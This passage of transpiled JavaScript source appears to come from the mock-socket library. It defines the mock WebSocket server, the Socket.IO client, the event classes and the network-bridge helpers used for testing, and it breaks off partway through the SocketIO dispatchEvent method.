(!Array.isArray(listeners)) {\n        return false;\n      }\n\n      listeners.forEach(function (listener) {\n        if (customArguments.length > 0) {\n          listener.apply(_this, customArguments);\n        } else {\n          listener.call(_this, event);\n        }\n      });\n    }\n  }]);\n\n  return EventTarget;\n})();\n\nexports['default'] = EventTarget;\nmodule.exports = exports['default'];","\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.reject = reject;\nexports.filter = filter;\n\nfunction reject(array, callback) {\n  var results = [];\n  array.forEach(function (itemInArray) {\n    if (!callback(itemInArray)) {\n      results.push(itemInArray);\n    }\n  });\n\n  return results;\n}\n\nfunction filter(array, callback) {\n  var results = [];\n  array.forEach(function (itemInArray) {\n    if (callback(itemInArray)) {\n      results.push(itemInArray);\n    }\n  });\n\n  return results;\n}","/*\n* https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent\n*/\n\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nvar codes = {\n  CLOSE_NORMAL: 1000,\n  CLOSE_GOING_AWAY: 1001,\n  CLOSE_PROTOCOL_ERROR: 1002,\n  CLOSE_UNSUPPORTED: 1003,\n  CLOSE_NO_STATUS: 1005,\n  CLOSE_ABNORMAL: 1006,\n  CLOSE_TOO_LARGE: 1009\n};\n\nexports[\"default\"] = codes;\nmodule.exports = exports[\"default\"];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _eventPrototype = require('./event-prototype');\n\nvar _eventPrototype2 = _interopRequireDefault(_eventPrototype);\n\nvar CloseEvent = (function (_EventPrototype) {\n  _inherits(CloseEvent, _EventPrototype);\n\n  function CloseEvent(type) {\n    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n    _classCallCheck(this, CloseEvent);\n\n    _get(Object.getPrototypeOf(CloseEvent.prototype), 'constructor', this).call(this);\n\n    if (!type) {\n      throw new TypeError('Failed to construct \\'CloseEvent\\': 1 argument required, but only 0 present.');\n    }\n\n    if (typeof eventInitConfig !== 'object') {\n      throw new TypeError('Failed to construct \\'CloseEvent\\': parameter 2 (\\'eventInitDict\\') is not an object');\n    }\n\n    var bubbles = eventInitConfig.bubbles;\n    var cancelable = eventInitConfig.cancelable;\n    var code = eventInitConfig.code;\n    var reason = eventInitConfig.reason;\n    var wasClean = eventInitConfig.wasClean;\n\n    this.type = String(type);\n    this.timeStamp = Date.now();\n    this.target = null;\n    this.srcElement = null;\n    this.returnValue = true;\n    this.isTrusted = false;\n    this.eventPhase = 0;\n    this.defaultPrevented = false;\n    this.currentTarget = null;\n    this.cancelable = cancelable ? Boolean(cancelable) : false;\n    this.canncelBubble = false;\n    this.bubbles = bubbles ? Boolean(bubbles) : false;\n    this.code = typeof code === 'number' ? Number(code) : 0;\n    this.reason = reason ? String(reason) : '';\n    this.wasClean = wasClean ? Boolean(wasClean) : false;\n  }\n\n  return CloseEvent;\n})(_eventPrototype2['default']);\n\nexports['default'] = CloseEvent;\nmodule.exports = exports['default'];","/*\n* This delay allows the thread to finish assigning its on* methods\n* before invoking the delay callback. This is purely a timing hack.\n* http://geekabyte.blogspot.com/2014/01/javascript-effect-of-setting-settimeout.html\n*\n* @param {callback: function} the callback which will be invoked after the timeout\n* @parma {context: object} the context in which to invoke the function\n*/\n\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nfunction delay(callback, context) {\n  setTimeout(function timeout(timeoutContext) {\n    callback.call(timeoutContext);\n  }, 4, context);\n}\n\nexports[\"default\"] = delay;\nmodule.exports = exports[\"default\"];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nvar EventPrototype = (function () {\n  function EventPrototype() {\n    _classCallCheck(this, EventPrototype);\n  }\n\n  _createClass(EventPrototype, [{\n    key: 'stopPropagation',\n\n    // Noops\n    value: function stopPropagation() {}\n  }, {\n    key: 'stopImmediatePropagation',\n    value: function stopImmediatePropagation() {}\n\n    // if no arguments are passed then the type is set to \"undefined\" on\n    // chrome and safari.\n  }, {\n    key: 'initEvent',\n    value: function initEvent() {\n      var type = arguments.length <= 0 || arguments[0] === undefined ? 'undefined' : arguments[0];\n      var bubbles = arguments.length <= 1 || arguments[1] === undefined ? false : arguments[1];\n      var cancelable = arguments.length <= 2 || arguments[2] === undefined ? false : arguments[2];\n\n      Object.assign(this, {\n        type: String(type),\n        bubbles: Boolean(bubbles),\n        cancelable: Boolean(cancelable)\n      });\n    }\n  }]);\n\n  return EventPrototype;\n})();\n\nexports['default'] = EventPrototype;\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _eventPrototype = require('./event-prototype');\n\nvar _eventPrototype2 = _interopRequireDefault(_eventPrototype);\n\nvar Event = (function (_EventPrototype) {\n  _inherits(Event, _EventPrototype);\n\n  function Event(type) {\n    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n    _classCallCheck(this, Event);\n\n    _get(Object.getPrototypeOf(Event.prototype), 'constructor', this).call(this);\n\n    if (!type) {\n      throw new TypeError('Failed to construct \\'Event\\': 1 argument required, but only 0 present.');\n    }\n\n    if (typeof eventInitConfig !== 'object') {\n      throw new TypeError('Failed to construct \\'Event\\': parameter 2 (\\'eventInitDict\\') is not an object');\n    }\n\n    var bubbles = eventInitConfig.bubbles;\n    var cancelable = eventInitConfig.cancelable;\n\n    this.type = String(type);\n    this.timeStamp = Date.now();\n    this.target = null;\n    this.srcElement = null;\n    this.returnValue = true;\n    this.isTrusted = false;\n    this.eventPhase = 0;\n    this.defaultPrevented = false;\n    this.currentTarget = null;\n    this.cancelable = cancelable ? Boolean(cancelable) : false;\n    this.canncelBubble = false;\n    this.bubbles = bubbles ? Boolean(bubbles) : false;\n  }\n\n  return Event;\n})(_eventPrototype2['default']);\n\nexports['default'] = Event;\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _eventPrototype = require('./event-prototype');\n\nvar _eventPrototype2 = _interopRequireDefault(_eventPrototype);\n\nvar MessageEvent = (function (_EventPrototype) {\n  _inherits(MessageEvent, _EventPrototype);\n\n  function MessageEvent(type) {\n    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n    _classCallCheck(this, MessageEvent);\n\n    _get(Object.getPrototypeOf(MessageEvent.prototype), 'constructor', this).call(this);\n\n    if (!type) {\n      throw new TypeError('Failed to construct \\'MessageEvent\\': 1 argument required, but only 0 present.');\n    }\n\n    if (typeof eventInitConfig !== 'object') {\n      throw new TypeError('Failed to construct \\'MessageEvent\\': parameter 2 (\\'eventInitDict\\') is not an object');\n    }\n\n    var bubbles = eventInitConfig.bubbles;\n    var cancelable = eventInitConfig.cancelable;\n    var data = eventInitConfig.data;\n    var origin = eventInitConfig.origin;\n    var lastEventId = eventInitConfig.lastEventId;\n    var ports = eventInitConfig.ports;\n\n    this.type = String(type);\n    this.timeStamp = Date.now();\n    this.target = null;\n    this.srcElement = null;\n    this.returnValue = true;\n    this.isTrusted = false;\n    this.eventPhase = 0;\n    this.defaultPrevented = false;\n    this.currentTarget = null;\n    this.cancelable = cancelable ? Boolean(cancelable) : false;\n    this.canncelBubble = false;\n    this.bubbles = bubbles ? Boolean(bubbles) : false;\n    this.origin = origin ? String(origin) : '';\n    this.ports = typeof ports === 'undefined' ? null : ports;\n    this.data = typeof data === 'undefined' ? null : data;\n    this.lastEventId = lastEventId ? String(lastEventId) : '';\n  }\n\n  return MessageEvent;\n})(_eventPrototype2['default']);\n\nexports['default'] = MessageEvent;\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nvar _server = require('./server');\n\nvar _server2 = _interopRequireDefault(_server);\n\nvar _socketIo = require('./socket-io');\n\nvar _socketIo2 = _interopRequireDefault(_socketIo);\n\nvar _websocket = require('./websocket');\n\nvar _websocket2 = _interopRequireDefault(_websocket);\n\nif (typeof window !== 'undefined') {\n  window.MockServer = _server2['default'];\n  window.MockWebSocket = _websocket2['default'];\n  window.MockSocketIO = _socketIo2['default'];\n}\n\nvar Server = _server2['default'];\nexports.Server = Server;\nvar WebSocket = _websocket2['default'];\nexports.WebSocket = WebSocket;\nvar SocketIO = _socketIo2['default'];\nexports.SocketIO = SocketIO;","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nvar _helpersArrayHelpers = require('./helpers/array-helpers');\n\n/*\n* The network bridge is a way for the mock websocket object to 'communicate' with\n* all avalible servers. This is a singleton object so it is important that you\n* clean up urlMap whenever you are finished.\n*/\n\nvar NetworkBridge = (function () {\n  function NetworkBridge() {\n    _classCallCheck(this, NetworkBridge);\n\n    this.urlMap = {};\n  }\n\n  /*\n  * Attaches a websocket object to the urlMap hash so that it can find the server\n  * it is connected to and the server in turn can find it.\n  *\n  * @param {object} websocket - websocket object to add to the urlMap hash\n  * @param {string} url\n  */\n\n  _createClass(NetworkBridge, [{\n    key: 'attachWebSocket',\n    value: function attachWebSocket(websocket, url) {\n      var connectionLookup = this.urlMap[url];\n\n      if (connectionLookup && connectionLookup.server && connectionLookup.websockets.indexOf(websocket) === -1) {\n        connectionLookup.websockets.push(websocket);\n        return connectionLookup.server;\n      }\n    }\n\n    /*\n    * Attaches a websocket to a room\n    */\n  }, {\n    key: 'addMembershipToRoom',\n    value: function addMembershipToRoom(websocket, room) {\n      var connectionLookup = this.urlMap[websocket.url];\n\n      if (connectionLookup && connectionLookup.server && connectionLookup.websockets.indexOf(websocket) !== -1) {\n        if (!connectionLookup.roomMemberships[room]) {\n          connectionLookup.roomMemberships[room] = [];\n        }\n\n        connectionLookup.roomMemberships[room].push(websocket);\n      }\n    }\n\n    /*\n    * Attaches a server object to the urlMap hash so that it can find a websockets\n    * which are connected to it and so that websockets can in turn can find it.\n    *\n    * @param {object} server - server object to add to the urlMap hash\n    * @param {string} url\n    */\n  }, {\n    key: 'attachServer',\n    value: function attachServer(server, url) {\n      var connectionLookup = this.urlMap[url];\n\n      if (!connectionLookup) {\n        this.urlMap[url] = {\n          server: server,\n          websockets: [],\n          roomMemberships: {}\n        };\n\n        return server;\n      }\n    }\n\n    /*\n    * Finds the server which is 'running' on the given url.\n    *\n    * @param {string} url - the url to use to find which server is running on it\n    */\n  }, {\n    key: 'serverLookup',\n    value: function serverLookup(url) {\n      var connectionLookup = this.urlMap[url];\n\n      if (connectionLookup) {\n        return connectionLookup.server;\n      }\n    }\n\n    /*\n    * Finds all websockets which is 'listening' on the given url.\n    *\n    * @param {string} url - the url to use to find all websockets which are associated with it\n    * @param {string} room - if a room is provided, will only return sockets in this room\n    */\n  }, {\n    key: 'websocketsLookup',\n    value: function websocketsLookup(url, room) {\n      var connectionLookup = this.urlMap[url];\n\n      if (!connectionLookup) {\n        return [];\n      }\n\n      if (room) {\n        var members = connectionLookup.roomMemberships[room];\n        return members ? members : [];\n      }\n\n      return connectionLookup.websockets;\n    }\n\n    /*\n    * Removes the entry associated with the url.\n    *\n    * @param {string} url\n    */\n  }, {\n    key: 'removeServer',\n    value: function removeServer(url) {\n      delete this.urlMap[url];\n    }\n\n    /*\n    * Removes the individual websocket from the map of associated websockets.\n    *\n    * @param {object} websocket - websocket object to remove from the url map\n    * @param {string} url\n    */\n  }, {\n    key: 'removeWebSocket',\n    value: function removeWebSocket(websocket, url) {\n      var connectionLookup = this.urlMap[url];\n\n      if (connectionLookup) {\n        connectionLookup.websockets = (0, _helpersArrayHelpers.reject)(connectionLookup.websockets, function (socket) {\n          return socket === websocket;\n        });\n      }\n    }\n\n    /*\n    * Removes a websocket from a room\n    */\n  }, {\n    key: 'removeMembershipFromRoom',\n    value: function removeMembershipFromRoom(websocket, room) {\n      var connectionLookup = this.urlMap[websocket.url];\n      var memberships = connectionLookup.roomMemberships[room];\n\n      if (connectionLookup && memberships !== null) {\n        connectionLookup.roomMemberships[room] = (0, _helpersArrayHelpers.reject)(memberships, function (socket) {\n          return socket === websocket;\n        });\n      }\n    }\n  }]);\n\n  return NetworkBridge;\n})();\n\nexports['default'] = new NetworkBridge();\n// Note: this is a singleton\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nvar _get = function get(_x4, _x5, _x6) { var _again = true; _function: while (_again) { var object = _x4, property = _x5, receiver = _x6; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x4 = parent; _x5 = property; _x6 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _urijs = require('urijs');\n\nvar _urijs2 = _interopRequireDefault(_urijs);\n\nvar _websocket = require('./websocket');\n\nvar _websocket2 = _interopRequireDefault(_websocket);\n\nvar _eventTarget = require('./event-target');\n\nvar _eventTarget2 = _interopRequireDefault(_eventTarget);\n\nvar _networkBridge = require('./network-bridge');\n\nvar _networkBridge2 = _interopRequireDefault(_networkBridge);\n\nvar _helpersCloseCodes = require('./helpers/close-codes');\n\nvar _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);\n\nvar _eventFactory = require('./event-factory');\n\n/*\n* https://github.com/websockets/ws#server-example\n*/\n\nvar Server = (function (_EventTarget) {\n  _inherits(Server, _EventTarget);\n\n  /*\n  * @param {string} url\n  */\n\n  function Server(url) {\n    _classCallCheck(this, Server);\n\n    _get(Object.getPrototypeOf(Server.prototype), 'constructor', this).call(this);\n    this.url = (0, _urijs2['default'])(url).toString();\n    var server = _networkBridge2['default'].attachServer(this, this.url);\n\n    if (!server) {\n      this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error' }));\n      throw new Error('A mock server is already listening on this url');\n    }\n  }\n\n  /*\n   * Alternative constructor to support namespaces in socket.io\n   *\n   * http://socket.io/docs/rooms-and-namespaces/#custom-namespaces\n   */\n\n  /*\n  * This is the main function for the mock server to subscribe to the on events.\n  *\n  * ie: mockServer.on('connection', function() { console.log('a mock client connected'); });\n  *\n  * @param {string} type - The event key to subscribe to. Valid keys are: connection, message, and close.\n  * @param {function} callback - The callback which should be called when a certain event is fired.\n  */\n\n  _createClass(Server, [{\n    key: 'on',\n    value: function on(type, callback) {\n      this.addEventListener(type, callback);\n    }\n\n    /*\n    * This send function will notify all mock clients via their onmessage callbacks that the server\n    * has a message for them.\n    *\n    * @param {*} data - Any javascript object which will be crafted into a MessageObject.\n    */\n  }, {\n    key: 'send',\n    value: function send(data) {\n      var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n      this.emit('message', data, options);\n    }\n\n    /*\n    * Sends a generic message event to all mock clients.\n    */\n  }, {\n    key: 'emit',\n    value: function emit(event, data) {\n      var _this2 = this;\n\n      var options = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];\n      var websockets = options.websockets;\n\n      if (!websockets) {\n        websockets = _networkBridge2['default'].websocketsLookup(this.url);\n      }\n\n      websockets.forEach(function (socket) {\n        socket.dispatchEvent((0, _eventFactory.createMessageEvent)({\n          type: event,\n          data: data,\n          origin: _this2.url,\n          target: socket\n        }));\n      });\n    }\n\n    /*\n    * Closes the connection and triggers the onclose method of all listening\n    * websockets. After that it removes itself from the urlMap so another server\n    * could add itself to the url.\n    *\n    * @param {object} options\n    */\n  }, {\n    key: 'close',\n    value: function close() {\n      var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];\n      var code = options.code;\n      var reason = options.reason;\n      var wasClean = options.wasClean;\n\n      var listeners = _networkBridge2['default'].websocketsLookup(this.url);\n\n      listeners.forEach(function (socket) {\n        socket.readyState = _websocket2['default'].CLOSE;\n        socket.dispatchEvent((0, _eventFactory.createCloseEvent)({\n          type: 'close',\n          target: socket,\n          code: code || _helpersCloseCodes2['default'].CLOSE_NORMAL,\n          reason: reason || '',\n          wasClean: wasClean\n        }));\n      });\n\n      this.dispatchEvent((0, _eventFactory.createCloseEvent)({ type: 'close' }), this);\n      _networkBridge2['default'].removeServer(this.url);\n    }\n\n    /*\n    * Returns an array of websockets which are listening to this server\n    */\n  }, {\n    key: 'clients',\n    value: function clients() {\n      return _networkBridge2['default'].websocketsLookup(this.url);\n    }\n\n    /*\n    * Prepares a method to submit an event to members of the room\n    *\n    * e.g. server.to('my-room').emit('hi!');\n    */\n  }, {\n    key: 'to',\n    value: function to(room) {\n      var _this = this;\n      var websockets = _networkBridge2['default'].websocketsLookup(this.url, room);\n      return {\n        emit: function emit(event, data) {\n          _this.emit(event, data, { websockets: websockets });\n        }\n      };\n    }\n  }]);\n\n  return Server;\n})(_eventTarget2['default']);\n\nServer.of = function of(url) {\n  return new Server(url);\n};\n\nexports['default'] = Server;\nmodule.exports = exports['default'];","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nvar _get = function get(_x3, _x4, _x5) { var _again = true; _function: while (_again) { var object = _x3, property = _x4, receiver = _x5; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x3 = parent; _x4 = property; _x5 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar _urijs = require('urijs');\n\nvar _urijs2 = _interopRequireDefault(_urijs);\n\nvar _helpersDelay = require('./helpers/delay');\n\nvar _helpersDelay2 = _interopRequireDefault(_helpersDelay);\n\nvar _eventTarget = require('./event-target');\n\nvar _eventTarget2 = _interopRequireDefault(_eventTarget);\n\nvar _networkBridge = require('./network-bridge');\n\nvar _networkBridge2 = _interopRequireDefault(_networkBridge);\n\nvar _helpersCloseCodes = require('./helpers/close-codes');\n\nvar _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);\n\nvar _eventFactory = require('./event-factory');\n\n/*\n* The socket-io class is designed to mimick the real API as closely as possible.\n*\n* http://socket.io/docs/\n*/\n\nvar SocketIO = (function (_EventTarget) {\n  _inherits(SocketIO, _EventTarget);\n\n  /*\n  * @param {string} url\n  */\n\n  function SocketIO() {\n    var _this = this;\n\n    var url = arguments.length <= 0 || arguments[0] === undefined ? 'socket.io' : arguments[0];\n    var protocol = arguments.length <= 1 || arguments[1] === undefined ? '' : arguments[1];\n\n    _classCallCheck(this, SocketIO);\n\n    _get(Object.getPrototypeOf(SocketIO.prototype), 'constructor', this).call(this);\n\n    this.binaryType = 'blob';\n    this.url = (0, _urijs2['default'])(url).toString();\n    this.readyState = SocketIO.CONNECTING;\n    this.protocol = '';\n\n    if (typeof protocol === 'string') {\n      this.protocol = protocol;\n    } else if (Array.isArray(protocol) && protocol.length > 0) {\n      this.protocol = protocol[0];\n    }\n\n    var server = _networkBridge2['default'].attachWebSocket(this, this.url);\n\n    /*\n    * Delay triggering the connection events so they can be defined in time.\n    */\n    (0, _helpersDelay2['default'])(function delayCallback() {\n      if (server) {\n        this.readyState = SocketIO.OPEN;\n        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connection' }), server, this);\n        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connect' }), server, this); // alias\n        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connect', target: this }));\n      } else {\n        this.readyState = SocketIO.CLOSED;\n        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error', target: this }));\n        this.dispatchEvent((0, _eventFactory.createCloseEvent)({\n          type: 'close',\n          target: this,\n          code: _helpersCloseCodes2['default'].CLOSE_NORMAL\n        }));\n\n        console.error('Socket.io connection to \\'' + this.url + '\\' failed');\n      }\n    }, this);\n\n    /**\n      Add an aliased event listener for close / disconnect\n     */\n    this.addEventListener('close', function (event) {\n      _this.dispatchEvent((0, _eventFactory.createCloseEvent)({\n        type: 'disconnect',\n        target: event.target,\n        code: event.code\n      }));\n    });\n  }\n\n  /*\n  * Closes the SocketIO connection or connection attempt, if any.\n  * If the connection is already CLOSED, this method does nothing.\n  */\n\n  _createClass(SocketIO, [{\n    key: 'close',\n    value: function close() {\n      if (this.readyState !== SocketIO.OPEN) {\n        return undefined;\n      }\n\n      var server = _networkBridge2['default'].serverLookup(this.url);\n      _networkBridge2['default'].removeWebSocket(this, this.url);\n\n      this.readyState = SocketIO.CLOSED;\n      this.dispatchEvent((0, _eventFactory.createCloseEvent)({\n        type: 'close',\n        target: this,\n        code: _helpersCloseCodes2['default'].CLOSE_NORMAL\n      }));\n\n      if (server) {\n        server.dispatchEvent((0, _eventFactory.createCloseEvent)({\n          type: 'disconnect',\n          target: this,\n          code: _helpersCloseCodes2['default'].CLOSE_NORMAL\n        }), server);\n      }\n    }\n\n    /*\n    * Alias for Socket#close\n    *\n    * https://github.com/socketio/socket.io-client/blob/master/lib/socket.js#L383\n    */\n  }, {\n    key: 'disconnect',\n    value: function disconnect() {\n      this.close();\n    }\n\n    /*\n    * Submits an event to the server with a payload\n    */\n  }, {\n    key: 'emit',\n    value: function emit(event, data) {\n      if (this.readyState !== SocketIO.OPEN) {\n        throw new Error('SocketIO is already in CLOSING or CLOSED state');\n      }\n\n      var messageEvent = (0, _eventFactory.createMessageEvent)({\n        type: event,\n        origin: this.url,\n        data: data\n      });\n\n      var server = _networkBridge2['default'].serverLookup(this.url);\n\n      if (server) {\n        server.dispatchEvent(messageEvent, data);\n      }\n    }\n\n    /*\n    * Submits a 'message' event to the server.\n    *\n    * Should behave exactly like WebSocket#send\n    *\n    * https://github.com/socketio/socket.io-client/blob/master/lib/socket.js#L113\n    */\n  }, {\n    key: 'send',\n    value: function send(data) {\n      this.emit('message', data);\n    }\n\n    /*\n    * For registering events to be received from the server\n    */\n  }, {\n    key: 'on',\n    value: function on(type, callback) {\n      this.addEventListener(type, callback);\n    }\n\n    /*\n     * Join a room on a server\n     *\n     * http://socket.io/docs/rooms-and-namespaces/#joining-and-leaving\n     */\n  }, {\n    key: 'join',\n    value: function join(room) {\n      _networkBridge2['default'].addMembershipToRoom(this, room);\n    }\n\n    /*\n     * Get the websocket to leave the room\n     *\n     * http://socket.io/docs/rooms-and-namespaces/#joining-and-leaving\n     */\n  }, {\n    key: 'leave',\n    value: function leave(room) {\n      _networkBridge2['default'].removeMembershipFromRoom(this, room);\n    }\n\n    /*\n     * Invokes all listener functions that are listening to the given event.type property. Each\n     * listener will be passed the event as the first argument.\n     *\n     * @param {object} event - event object which will be passed to all listeners of the event.type property\n     */\n  }, {\n    key: 'dispatchEvent',\n    value: function dispatchEvent(event) {\n      var _this2 = this;\n\n      for (var _len = arguments.length, customArguments = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n        customArguments[_key - 1] = arguments[_key];\n      }\n\n      var eventName = event.type;\n      var listeners = this.listeners[eventName];\n\n      if (!Array.isArray(listeners)) {\n        return false;\n      }\n\n      listeners.forEach(function (listener) {\n        if (customArguments.length > 0) {\n          listener.apply(_this2, customArguments);\n        } else {\n          // Regular WebSockets expect a MessageEvent but Socketio.io just wants raw 